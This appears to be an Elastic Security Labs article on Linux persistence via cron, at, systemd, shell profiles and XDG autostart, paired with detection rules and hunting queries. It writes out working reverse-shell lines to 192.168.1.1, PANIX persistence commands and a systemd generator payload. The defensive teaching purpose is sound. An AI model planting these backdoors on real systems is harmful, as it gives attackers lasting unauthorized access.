<p><a href="https://www.man7.org/linux/man-pages/man8/cron.8.html">Cron</a> is a utility for scheduling recurring tasks to run at specific times or intervals. It is available by default on most Linux distributions. It is a <a href="https://man7.org/linux/man-pages/man7/daemon.7.html">daemon</a> (that is, a background process that typically performs tasks without requiring user interaction) that reads cron files from a default set of locations. These files contain commands to run periodically and/or at a scheduled time.</p>
<p>The scheduled task is called a cron job and can be executed with both user and root permissions, depending on the configuration. Due to its versatility, cron is an easy and stable candidate for Linux persistence, even without escalating to root privileges upon initial access.</p>
<p>There are user-specific and system-wide cron jobs. The user-specific cron jobs commonly reside in:</p>
<ul>
<li><code>/var/spool/cron/</code></li>
<li><code>/var/spool/cron/crontabs/</code></li>
</ul>
<p>The system-wide cron jobs are located in the following:</p>
<ul>
<li><code>/etc/crontab</code></li>
<li><code>/etc/cron.d/</code></li>
<li><code>/etc/cron.daily/</code></li>
<li><code>/etc/cron.hourly/</code></li>
<li><code>/etc/cron.monthly/</code></li>
<li><code>/etc/cron.weekly/</code></li>
</ul>
<p>The cron file syntax slightly differs based on the location in which the cron file is created. For the cron files in the <code>/etc/</code> directory, the user who will execute the job must be specified.</p>
<pre><code>* * * * * root /bin/bash -c '/srv/backup_tool.sh'
</code></pre>
<p>Conversely, the user who created the cron files in the <code>/var/spool/cron/crontabs/</code> directory will execute the cron files.</p>
<pre><code>* * * * * /bin/bash -c '/srv/backup_tool.sh'
</code></pre>
<p>The asterisks are used to create the schedule. They represent (in order) minutes, hours, days (of the month), months, and days (of the week). Setting “<code>* * * * *</code>” means the cron job is executed every minute while setting “<code>* * 1 12 *</code>”<code> </code>means the cron job is executed every minute on the first day of December. Information on cron scheduling is available at <a href="https://crontab.guru/">Crontab Guru</a>.</p>
<p>Attackers can exploit these jobs to run scripts or binaries that establish reverse connections or add reverse shell commands.</p>
<pre><code>* * * * * root /bin/bash -c 'sh -i &gt;&amp; /dev/tcp/192.168.1.1/1337 0&gt;&amp;1'
</code></pre>
<p>MITRE specifies more information and real-world examples related to this technique in <a href="https://attack.mitre.org/techniques/T1053/003/">T1053.003</a>.</p>
<h4>Persistence through T1053.003 - cron</h4>
<p>You can manually create a system-wide cron file in any of the <code>/etc/</code> directories or use the <code>crontab -e</code> command to create a user-specific cron file. To more easily illustrate all of the persistence mechanisms presented in these articles, we will use PANIX. Depending on the privileges when running it, you can establish persistence like so:</p>
<pre><code>sudo ./panix.sh --cron --default --ip 192.168.1.1 --port 2001
[+] Cron job persistence established.
</code></pre>
<p>The default setting for the root user will create a cron file at <code>/etc/cron.d/freedesktop_timesync1</code> that calls out to the attacker system every minute. When looking at the events, we can see the following:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/primer-on-persistence-mechanisms/image11.png" alt="Events generated as a result of cron persistence establishment" title="Events generated as a result of cron persistence establishment" /></p>
<p>When PANIX was executed, the cron job was created, <code>/usr/sbin/cron</code> read the contents of the cron file and executed it, after which a network connection was established. Analyzing this chain of events, we can identify several detection capabilities for this and other proof-of-concepts.</p>
<p>Elastic SIEM includes over 1,000 prebuilt rules and more than 200 specifically dedicated to Linux. These rules run on the Elastic cluster and are designed to detect threat techniques that are available in our public <a href="https://github.com/elastic/detection-rules/tree/main">detection rules repository</a>. Our prevention capabilities include behavioral endpoint rules and memory/file signatures, which are utilized by Elastic Defend and can be found in our public <a href="https://github.com/elastic/protections-artifacts">protection artifacts repository</a>.</p>
<table>
<thead>
<tr>
<th>Category</th>
<th>Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td>File</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_cron_job_creation.toml">Cron Job Created or Modified</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_etc_file_creation.toml">Suspicious File Creation in /etc for Persistence</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></td>
</tr>
<tr>
<td>Process</td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_hidden_payload_executed_via_scheduled_job.toml">Hidden Payload Executed via Scheduled Job</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_scheduled_job_executing_binary_in_unusual_location.toml">Scheduled Job Executing Binary in Unusual Location</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_scheduled_task_unusual_command_execution.toml">Scheduled Task Unusual Command Execution</a></td>
</tr>
</tbody>
</table>
<p>The file category has three different rules, the first two focusing on creation/modification using Elastic Defend, while the third focuses on modification through <a href="https://www.elastic.co/de/docs/current/integrations/fim">File Integrity Monitoring (FIM)</a>. FIM can be set up using <a href="https://www.elastic.co/de/guide/en/beats/auditbeat/current/auditbeat-module-file_integrity.html">Auditbeat</a> or via the Fleet integration. To correctly set up FIM, it is important to specify full paths to the files that FIM should monitor, as it does <em>not</em> allow for wildcards. Therefore, Potential Persistence via File Modification is a rule that requires manual setup and tailoring to your specific needs, as it will require individual entries depending on the persistence technique you are trying to detect.</p>
<h3>T1053.002 - scheduled task/job: at</h3>
<p><a href="https://man7.org/linux/man-pages/man1/at.1p.html">At</a> is a utility for scheduling one-time tasks to run at a specified time in the future on Linux systems. Unlike cron, which handles recurring tasks, At is designed for single executions. The At daemon (<code>atd</code>) manages and executes these scheduled tasks at the specified time.</p>
<p>An At job is defined by specifying the exact time it should run. Depending on the configuration, users can schedule At jobs with either user or root permissions. This makes At a straightforward option for scheduling tasks without the need for persistent or repeated execution, but less useful for attackers. Additionally, At is not present on most Linux distributions by-default, which makes leveraging it even less trivial. However, it is still used for persistence, so we should not neglect the technique.</p>
<p>At jobs are stored in <code>/var/spool/cron/atjobs/</code>. Besides the At job, At also creates a spool file in the <code>/var/spool/cron/atspool/</code> directory. These job files contain the details of the scheduled tasks, including the commands to be executed and the scheduled times.</p>
<p>To schedule a task using At, you simply provide the command to run and the time for execution. The syntax is straightforward:</p>
<pre><code>echo &quot;/bin/bash -c 'sh -i &gt;&amp; /dev/tcp/192.168.1.1/1337 0&gt;&amp;1'&quot; | at now + 1 minute
</code></pre>
<p>The above example schedules a task to run one minute from the current time. The time format can be flexible, such as <code>at 5 PM tomorrow</code> or <code>at now + 2 hours</code>. At job details can be listed using the <code>atq</code> command, and specific jobs can be removed using <code>atrm</code>.</p>
<p>At is useful for one-time task scheduling and complements cron for users needing recurring and single-instance task scheduling solutions. MITRE specifies more information and real-world examples related to this technique in <a href="https://attack.mitre.org/techniques/T1053/002/">T1053.002</a>.</p>
<h4>Persistence through T1053.002 - At</h4>
<p>You can leverage the above command structure or use PANIX to set up an At job. Ensure At is installed on your system and the time settings are correct, as this might interfere with the execution.</p>
<pre><code>./panix.sh --at --default --ip 192.168.1.1 --port 2002 --time 14:49
job 15 at Tue Jun 11 14:49:00 2024
[+] At job persistence established.
</code></pre>
<p>By default, depending on the privileges used to run the program, a reverse connection will be established at the time interval the user specified. Looking at the events in Discover:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/primer-on-persistence-mechanisms/image2.png" alt="Events generated as a result of At persistence establishment" title="Events generated as a result of At persistence establishment" /></p>
<p>We see the execution of PANIX, which is creating the At job. Next, At(d) creates two files, an At job and an At spool. At the correct time interval, the At job is executed, after which the reverse connection to the attack IP is established. Looking at these events, we have fewer behavioral coverage opportunities than we have for cron, as behaviorally, it is just <code>/bin/sh</code> executing a shell command. However, we can still identify the following artifacts:</p>
<table>
<thead>
<tr>
<th>Category</th>
<th>Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td>File</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_at_job_creation.toml">At Job Created or Modified</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></td>
</tr>
</tbody>
</table>
<h3>T1053 - scheduled task/job: honorable mentions</h3>
<p>Several other honorable mentions for establishing persistence through scheduled tasks/jobs include <a href="https://www.man7.org/linux/man-pages/man8/anacron.8.html">Anacron</a>, <a href="https://man.archlinux.org/man/fcron.8.en">Fcron</a>, <a href="https://manpages.ubuntu.com/manpages/xenial/man1/tsp.1.html">Task Spooler</a>, and <a href="https://man7.org/linux/man-pages/man1/batch.1p.html">Batch</a>. While these tools are less commonly leveraged by malware due to their non-default installation and limited versatility compared to cron and other mechanisms, they are still worth noting. We include behavioral detection rules for some of these in our persistence rule set. For example, Batch jobs are saved in the same location as At jobs and are covered by our &quot;<a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_at_job_creation.toml">At Job Created or Modified</a>&quot; rule. Similarly, Anacron jobs are covered through our &quot;<a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_cron_job_creation.toml">Cron Job Created or Modified</a>&quot; rule, as Anacron integrates with the default Cron persistence detection setup.</p>
<h3>Hunting for T1053 - scheduled task/job</h3>
<p>Besides relying on Elastic’s pre-built <a href="https://github.com/elastic/detection-rules">detection</a> and <a href="https://github.com/elastic/protections-artifacts">endpoint rules</a>, a defender will greatly benefit from manual threat hunting. As part of Elastic’s 8.14 release, the general availability of the <a href="https://www.elastic.co/de/guide/en/elasticsearch/reference/current/esql.html">Elasticsearch Query Language (ES|QL) language</a> was introduced. ES|QL provides a powerful way to filter, transform, and analyze data stored in Elasticsearch. For this use case, we will leverage ES|QL to hunt through all the data in an Elasticsearch stack for traces of cron, At, Anacron, Fcron, Task Spooler,<code> </code>and Batch persistence.</p>
<p>We can leverage the following ES|QL query that can be tailored to your specific environment:</p>
<p>This query returns 76 hits that could be investigated. Some are related to PANIX, others to real malware detonations, and some are false positives.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/primer-on-persistence-mechanisms/image5.png" alt="Results of the ES|QL hunt for scheduled task persistence establishment" title="Results of the ES|QL hunt for scheduled task persistence establishment" /></p>
<p>Dealing with false positives is crucial, as system administrators and other authorized personnel commonly use these tools. Differentiating between legitimate and malicious use is essential for maintaining an effective security posture. Accurately identifying the intent behind using these tools helps minimize disruptions caused by false alarms while ensuring that potential threats are addressed promptly.</p>
<p>Programs similar to cron also have an execution history, as all of the scripts it executes will have cron as its parent. This allows us to hunt for unusual process executions through ES|QL:</p>
<p>This example performs aggregation using a <code>distinct_count</code> of <code>host.id</code>. If an anomalous entry is observed, <code>host_count</code> can be removed, and additional fields such as <code>host.name</code> and <code>user.name</code> can be added to the by section. This can help find anomalous behavior on specific hosts rather than across the entire environment. This could also be an additional pivoting opportunity if suspicious processes are identified.</p>
<p>In this case, the query returns 37 results, most of which are true positives due to the nature of the testing stack in which this is executed.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/primer-on-persistence-mechanisms/image3.png" alt="Results of the ES|QL hunt for scheduled task execution persistence establishment" title="Results of the ES|QL hunt for scheduled task execution persistence establishment" /></p>
<p>In your environment, this will likely return a massive amount of results. You may consider reducing/increasing the number of days that are being searched. Additionally, the total count of entries (cc) and host_count can be increased/decreased to make sense for your environment. Every network is unique; therefore, a false positive in one environment may not be a false positive for every environment. Additionally, the total count of entries (<code>cc</code>) and <code>host_count</code> can be increased/decreased to make sense for your environment. Every network is unique, and therefore a false-positive in one environment may not be a false-positive in another. Adding exclusions specific to your needs will allow for easier hunting.</p>
<p>Besides ES|QL, we can also leverage Elastic’s <a href="https://www.elastic.co/de/docs/current/integrations/osquery_manager">OSQuery Manager integration</a>. OSQuery is an open-source, cross-platform tool that uses SQL queries to investigate and monitor the operating system's performance, configuration, and security by exposing system information as a relational database. It allows administrators and security professionals to easily query system data and create real-time monitoring and analytics solutions. Streaming telemetry represents activity over time, while OSQuery focuses on static on-disk presence. This opens the door for detecting low-and-slow/decoupled-style attacks and might catch otherwise missed activity through telemetry hunting.</p>
<p>Information on how to set up OSQuery can be found in the <a href="https://www.elastic.co/de/guide/en/kibana/current/osquery.html">Kibana docs</a>, and a blog post explaining OSQuery in depth can be found <a href="https://www.elastic.co/de/blog/gain-upper-hand-over-adversaries-with-osquery-and-elastic">here</a>. We can run the following live query to display all of the cron files present on a particular system:</p>
<p>The following results are returned. We can see the <code>/etc/cron.d/freedesktop_timesync1</code> with a <code>file_last_status_change_time</code> that is recent and differs from the rest of the cron files. This is the backdoor planted by PANIX.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/primer-on-persistence-mechanisms/image4.png" alt="Results of the OSQuery hunt for scheduled task persistence establishment" title="Results of the OSQuery hunt for scheduled task persistence establishment" /></p>
<p>If we want to dig deeper, OSQuery also provides a module to read the commands from the crontab file by running the following query:</p>
<p>This shows us the command, the location of the cron job, and the corresponding schedule at which it runs.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/primer-on-persistence-mechanisms/image1.png" alt="Results of the OSQuery crontab hunt" title="Results of the OSQuery crontab hunt" /></p>
<p>Analyzing the screenshot, we see two suspicious reverse shell entries, which could require additional manual investigation.</p>
<p>An overview of the hunts outlined above, with additional descriptions and references, can be found in our <a href="https://github.com/elastic/detection-rules">detection rules repository</a>, specifically in the <a href="https://github.com/elastic/detection-rules/tree/main/hunting">Linux hunting subdirectory</a>. We can hunt for uncommon scheduled task file creations or unusual process executions through scheduled task executables by leveraging ES|QL and OSQuery. The <a href="https://github.com/elastic/detection-rules/blob/main/hunting/linux/queries/persistence_via_cron.toml">Persistence via Cron</a> hunt contains several ES|QL and OSQuery queries to aid this process.</p>
<h2>T1453 - create or modify system process (systemd)</h2>
<p><a href="https://man7.org/linux/man-pages/man1/init.1.html">Systemd</a> is a system and service manager for Linux, widely adopted as a replacement for the traditional <a href="https://manpages.debian.org/testing/sysvinit-core/init.8.en.html">SysVinit</a> system. It is responsible for initializing the system, managing processes, and handling system resources. Systemd operates through a series of unit files defining how services should be started, stopped, and managed.</p>
<p><a href="https://manpages.debian.org/jessie/systemd/systemd.unit.5.en.html">Unit files</a> have different types, each designed for specific purposes. The Service unit is the most common unit type for managing long-running processes (typically daemons). Additionally, the Timer unit manages time-based activation of other units, similar to cron jobs, but integrated into Systemd.</p>
<p>This section will discuss <a href="https://attack.mitre.org/techniques/T1543/">T1453</a> for systemd services and generators, and <a href="https://attack.mitre.org/techniques/T1053/">T1053</a> for systemd timers.</p>
<h3>T1453.002 - create or modify system process: systemd services</h3>
<p>The <a href="https://www.digitalocean.com/community/tutorials/understanding-systemd-units-and-unit-files">services</a> managed by systemd are defined by unit files, and are located in default directories, depending on the operating system and whether the service is run system-wide or user-specific. The system-wide unit files are typically located in the following directories:</p>
<ul>
<li><code>/run/systemd/system/</code></li>
<li><code>/etc/systemd/system/</code></li>
<li><code>/etc/systemd/user/</code></li>
<li><code>/usr/local/lib/systemd/system/</code></li>
<li><code>/lib/systemd/system/</code></li>
<li><code>/usr/lib/systemd/system/</code></li>
<li><code>/usr/lib/systemd/user/</code></li>
</ul>
<p>User-specific unit files are typically located at:</p>
<ul>
<li><code>~/.config/systemd/user/</code></li>
<li><code>~/.local/share/systemd/user/</code></li>
</ul>
<p>A basic service unit file consists of three main sections: <code>[Unit]</code>, <code>[Service]</code>, and <code>[Install]</code>, and has the <code>.service</code> extension. Here's an example of a simple unit file that could be leveraged for persistence:</p>
<pre><code>[Unit]
Description=Reverse Shell

[Service]
ExecStart=/bin/bash -c 'sh -i &gt;&amp; /dev/tcp/192.168.1.1/1337 0&gt;&amp;1'

[Install]
WantedBy=multi-user.target
</code></pre>
<p>This unit file would attempt to establish a reverse shell connection every time the system boots, running with root privileges. More information and real-world examples related to systemd services are outlined by MITRE in <a href="https://attack.mitre.org/techniques/T1543/002/">T1543.002</a>.</p>
<p>Relying solely on persistence upon reboot might be too restrictive. Timer unit files can be leveraged to overcome this limitation to ensure persistence on a predefined schedule.</p>
<h3>T1053.006 - scheduled task/job: systemd timers</h3>
<p><a href="https://wiki.archlinux.org/title/systemd/Timers">Timer units</a> provide a versatile method to schedule tasks, similar to cron jobs but more integrated with the Systemd ecosystem. A timer unit specifies the schedule and is associated with a corresponding service unit that performs the task. Timer units can run tasks at specific intervals, on specific dates, or even based on system events.</p>
<p>Timer unit files are typically located in the same directories as the service unit files and have a <code>.timer</code> extension. Coupling timers to services is done by leveraging the same unit file name but changing the extension. An example of a timer unit file that would activate our previously created service every hour can look like this:</p>
<pre><code>[Unit]
Description=Obviously not malicious at all

[Timer]
OnBootSec=1min
OnUnitActiveSec=1h

[Install]
WantedBy=timers.target
</code></pre>
<p>Timers are versatile and allow for different scheduling options. Some examples are <code>OnCalendar=Mon,Wed,Fri 17:00:00</code> to run a service every Monday, Wednesday, and Friday at 5:00 PM, and <code>OnCalendar=*-*-* 02:30:00</code> to run a service every day at 2:30 AM. More details and real world examples related to Systemd timers are presented by MITRE in <a href="https://attack.mitre.org/techniques/T1053/006/">T1053.006</a>.</p>
<h3>T1453 - create or modify system process: systemd generators</h3>
<p><a href="https://manpages.debian.org/testing/systemd/systemd.generator.7.en.html">Generators</a> are small executables executed by systemd at bootup and during configuration reloads. Their main role is to convert non-native configuration and execution parameters into dynamically generated unit files, symlinks, or drop-ins, extending the unit file hierarchy for the service manager.</p>
<p>System and user generators are loaded from the <code>system-generators</code>/ and <code>user-generators</code>/ directories, respectively, with those listed earlier overriding others of the same name. Generators produce output in three priority-based directories: <code>generator.early</code> (highest), <code>generator</code> (medium), and <code>generator.late</code> (lowest). Reloading daemons will re-run all generators and reload all units from disk.</p>
<p>System-wide generators can be placed in the following directories:</p>
<ul>
<li><code>/run/systemd/system-generators/</code></li>
<li><code>/etc/systemd/system-generators/</code></li>
<li><code>/usr/local/lib/systemd/system-generators/</code></li>
<li><code>/lib/systemd/system-generators/</code></li>
<li><code>/usr/lib/systemd/system-generators/</code></li>
</ul>
<p>User-specific generators are placed in the following directories:</p>
<ul>
<li><code>/run/systemd/user-generators/</code></li>
<li><code>/etc/systemd/user-generators/</code></li>
<li><code>/usr/local/lib/systemd/user-generators/</code></li>
<li><code>/lib/systemd/user-generators/</code></li>
<li><code>/usr/lib/systemd/user-generators/</code></li>
</ul>
<p><a href="https://pberba.github.io/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/">Pepe Berba's research</a> explores using systemd generators to establish persistence. One method involves using a generator to create a service file that triggers a backdoor on boot. Alternatively, the generator can execute the backdoor directly, which can cause delays if the network service is not yet started, alerting the user. Systemd generators can be binaries or shell scripts. For example, a payload could look like this:</p>
<pre><code>#!/bin/sh
# Create a systemd service unit file in the late directory
cat &lt;&lt;-EOL &gt; &quot;/run/systemd/system/generator.service&quot;
[Unit]
Description=Generator Service

[Service]
ExecStart=/usr/lib/systemd/system-generators/makecon
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target
EOL

mkdir -p /run/systemd/system/multi-user.target.wants/
ln -s /run/systemd/system/generator.service /run/systemd/system/multi-user.target.wants/generator.service

# Ensure the script exits successfully
exit 0
</code></pre>
<p>Which creates a new service (<code>generator.service</code>), which in turn executes <code>/usr/lib/systemd/system-generators/makecon</code> on boot. As this method creates a service (albeit via a generator), we will take a closer look at systemd service persistence. Let's examine how these work in practice.</p>
<h3>Persistence through T1453/T1053 - systemd services, timers and generators</h3>
<p>You can manually create the unit file in the appropriate directory, reload the daemon, enable and start the service, or use PANIX to do that for you. PANIX will create a service unit file in the specified directory, which in turn runs the custom command at a one-minute interval through a timer unit file. You can also use <code>--default</code> with<code> --ip</code>, <code>--port,</code> and <code>–-timer</code>.</p>
<pre><code>sudo ./panix.sh --systemd --custom --path /etc/systemd/system/panix.service --command &quot;/usr/bin/bash -c 'bash -i &gt;&amp; /dev/tcp/192.168.1.1/2003 0&gt;&amp;1'&quot; --timer
Service file created successfully!
Created symlink /etc/systemd/system/default.target.wants/panix.service → /etc/systemd/system/panix.service.
Timer file created successfully!
Created symlink /etc/systemd/system/timers.target.wants/panix.timer → /etc/systemd/system/panix.timer.
[+] Persistence established. 
</code></pre>
<p>When a service unit is enabled, systemd creates a symlink in the <code>default.target.wants/</code> directory (or another appropriate target directory). This tells systemd to start the <code>panix.service</code> automatically when the system reaches the <code>default.target</code>. Similarly, the symlink for the timer unit file tells systemd to activate the timer based on the schedule defined in the timer unit file.</p>
<p>We can analyze and find out what happened when looking at the documents in Kibana:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/primer-on-persistence-mechanisms/image9.png" alt="Events generated as a result of systemd service/timer persistence establishment" title="Events generated as a result of systemd service/timer persistence establishment" /></p>
<p>PANIX is executed, which creates the <code>panix.service</code> and <code>panix.timer</code> units in the corresponding directories. Then, <code>systemctl</code> is used to reload the daemons, after which the <code>panix.timer</code> is enabled and started, enabling systemd to run the <code>ExecStart</code> section of the service unit (which initiates the outbound network connection) every time the timer hits. To detect potential systemd persistence, we leverage the following behavioral rules:</p>
<table>
<thead>
<tr>
<th>Category</th>
<th>Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td>File</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_systemd_service_creation.toml">Systemd Service Created</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_systemd_scheduled_timer_created.toml">Systemd Timer Created</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_systemd_generator_creation.toml">Systemd Generator Created</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_etc_file_creation.toml">Suspicious File Creation in /etc for Persistence</a></td>
</tr>
<tr>
<td>Process</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_systemd_service_started.toml">Systemd Service Started by Unusual Parent Process</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_hidden_payload_executed_via_scheduled_job.toml">Hidden Payload Executed via Scheduled Job</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_scheduled_job_executing_binary_in_unusual_location.toml">Scheduled Job Executing Binary in Unusual Location</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_scheduled_task_unusual_command_execution.toml">Scheduled Task Unusual Command Execution</a></td>
</tr>
</tbody>
</table>
<h3>Hunting for T1053/T1453 - systemd services, timers and generators</h3>
<p>We can hunt for uncommon <code>service</code>/<code>timer</code>/<code>generator</code> file creations in our environment through systemd by leveraging ES|QL and OSQuery. The <a href="https://github.com/elastic/detection-rules/blob/main/hunting/linux/queries/persistence_via_systemd_timers.toml">Persistence via Systemd (Timers)</a> file contains several ES|QL and OSQuery queries that can help hunt for these types of persistence.</p>
<h2>T1546.004 - event triggered execution: Unix shell configuration modification</h2>
<p><a href="https://effective-shell.com/part-5-building-your-toolkit/configuring-the-shell/">Unix shell configuration files</a> are scripts that run throughout a user session based on events (e.g., log in/out, or open/close a shell session). These files are used to customize the shell environment, including setting environment variables, aliases, and other session-specific settings. As these files are executed via a shell, they can easily be leveraged by attackers to establish persistence on a system by injecting backdoors into these scripts.</p>
<p>Different shells have their own configuration files. Similarly to cron and systemd, this persistence mechanism can be established with both user and root privileges. Depending on the shell, system-wide shell configuration files are located in the following locations and require root permissions to be changed:</p>
<ul>
<li><code>/etc/profile</code></li>
<li><code>/etc/profile.d/</code></li>
<li><code>/etc/bash.bashrc</code></li>
<li><code>/etc/bash.bash_logout</code></li>
</ul>
<p>User-specific shell configuration files are triggered through actions performed by and executed in the user's context. Depending on the shell, these typically include:</p>
<ul>
<li><code>~/.profile</code></li>
<li><code>~/.bash_profile</code></li>
<li><code>~/.bash_login</code></li>
<li><code>~/.bash_logout</code></li>
<li><code>~/.bashrc</code></li>
</ul>
<p>Once modified, these scripts ensure malicious commands are executed for every user login or logout. These scripts are executed in a <a href="https://www.thegeekstuff.com/2008/10/execution-sequence-for-bash_profile-bashrc-bash_login-profile-and-bash_logout/">specific order</a>. When a user logs in via SSH, the order of execution for the login shells is:</p>
<ol>
<li><code>/etc/profile</code></li>
<li><code>~/.bash_profile</code> (if it exists, otherwise)</li>
<li><code>~/.bash_login</code> (if it exists, otherwise)</li>
<li><code>~/.profile</code> (if it exists)</li>
</ol>
<p>For non-login interactive shell initialization, <code>~/.bashrc</code> is executed. Typically, to ensure this configuration file is also executed on login, <code>~/.bashrc</code> is sourced within <code>~/.bash_profile</code>, <code>~/.bash_login</code> or <code>~/.profile</code>. Additionally, a backdoor can be added to the <code>~/.bash_logout</code> configuration file for persistence upon shell termination.</p>
<p>When planting a backdoor in one of these files, it is important not to make mistakes in the execution chain, meaning that it is both important to pick the correct configuration file and to pick a fitting payload. A typical reverse shell connection will make the terminal freeze while sending the reverse shell connection to the background will make it malfunction. A potential payload could look like this:</p>
<pre><code>(nohup bash -i &gt; /dev/tcp/192.168.1.1/1337 0&lt;&amp;1 2&gt;&amp;1 &amp;)
</code></pre>
<p>This command uses “nohup” (no hang up) to run an interactive bash reverse shell as a background process, ensuring it continues running even after the initiating user logs out. The entire command is then executed in the background using <code>&amp;</code> and wrapped in parentheses to create a subshell, preventing any interference with the parent shell’s operations.</p>
<p>Be vigilant for other types of backdoors, such as credential stealers that create fake “<code>[sudo] password for…</code>” prompts when running sudo or the execution of malicious binaries. MITRE specifies more information and real-world examples related to this technique in <a href="https://attack.mitre.org/techniques/T1546/004/">T1546.004</a>.</p>
<h3>Persistence through T1546.004 - shell profile modification</h3>
<p>You can add a bash payload to shell configuration files either manually or using PANIX. When PANIX runs with user privileges, it establishes persistence by modifying <code>~/.bash_profile</code>. With root privileges, it modifies the <code>/etc/profile</code> file to achieve system-wide persistence.</p>
<pre><code>sudo ./panix.sh --shell-profile --default --ip 192.168.1.1 --port 2004
</code></pre>
<p>To trigger it, either log in as root via the shell with <code>su --login root</code> or login via SSH. The shell profile will be parsed and executed in order, resulting in the following chain of execution:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/primer-on-persistence-mechanisms/image10.png" alt="Events generated as a result of shell profile modification persistence establishment" title="Events generated as a result of shell profile modification persistence establishment" /></p>
<p>PANIX plants the backdoor in <code>/etc/profile</code>, next <code>su --login root</code> is executed to trigger the payload, the <code>UID</code>/<code>GID</code> changes to root, and a network connection is initiated through the injected backdoor. A similar process occurs when logging in via SSH. We can detect several steps of the attack chain.</p>
<p>Detection and endpoint rules that cover shell profile modification persistence_</p>
<table>
<thead>
<tr>
<th>Category</th>
<th>Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td>File</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_shell_configuration_modification.toml">Shell Configuration Creation or Modification</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></td>
</tr>
<tr>
<td>Process</td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_binary_execution_from_unusual_location_through_shell_profile.toml">Binary Execution from Unusual Location through Shell Profile</a></td>
</tr>
<tr>
<td>Network</td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_network_connection_through_shell_profile.toml">Network Connection through Shell Profile</a></td>
</tr>
</tbody>
</table>
<h3>Hunting for T1546.004 - shell configuration modification</h3>
<p>We can hunt for shell profile file creations/modification, as well as SSHD child processes, by leveraging ES|QL and OSQuery. The <a href="https://github.com/elastic/detection-rules/blob/main/hunting/linux/queries/persistence_via_shell_modification_persistence.toml">Shell Modification Persistence</a> hunting rule contains several of these hunting queries.</p>
<h2>T1547.013 - boot or logon autostart execution: XDG autostart entries</h2>
<p>Cross-Desktop Group (XDG) is a set of<a href="https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html"> standards for Unix desktop environments</a> that describe how applications should be started automatically when a user logs in. The XDG Autostart specification is particularly interesting, as it defines a way to automatically launch applications based on desktop entry files, which are plain text files with the <code>.desktop</code> extension.</p>
<p>The <code>.desktop</code> files are typically used to configure how applications appear in menus and how they are launched. By leveraging XDG Autostart, attackers can configure malicious applications to run automatically whenever users log into their desktop environment.</p>
<p>The location where these files can be placed varies based on whether the persistence is being established for all users (system-wide) or a specific user. It also depends on the desktop environment used; for example, KDE has other configuration locations than Gnome. Default system-wide autostart files are located in directories that require root permissions to modify, such as:</p>
<ul>
<li><code>/etc/xdg/autostart/</code></li>
<li><code>/usr/share/autostart/</code></li>
</ul>
<p>Default user-specific autostart files, other than the root user-specific autostart file, only require user-level permissions. These are typically located in:</p>
<ul>
<li><code>~/.config/autostart/</code></li>
<li><code>~/.local/share/autostart/</code></li>
<li><code>~/.config/autostart-scripts/ (not part of XDG standard, but used by KDE)</code></li>
<li><code>/root/.config/autostart/*</code></li>
<li><code>/root/.local/share/autostart/</code></li>
<li><code>/root/.config/autostart-scripts/</code></li>
</ul>
<p>An example of a <code>.desktop</code> file that executes a binary whenever a user logs in looks like this:</p>
<pre><code>[Desktop Entry]
Type=Application
Exec=/path/to/malicious/binary
Hidden=false
NoDisplay=false
X-GNOME-Autostart-enabled=true
Name=Updater
</code></pre>
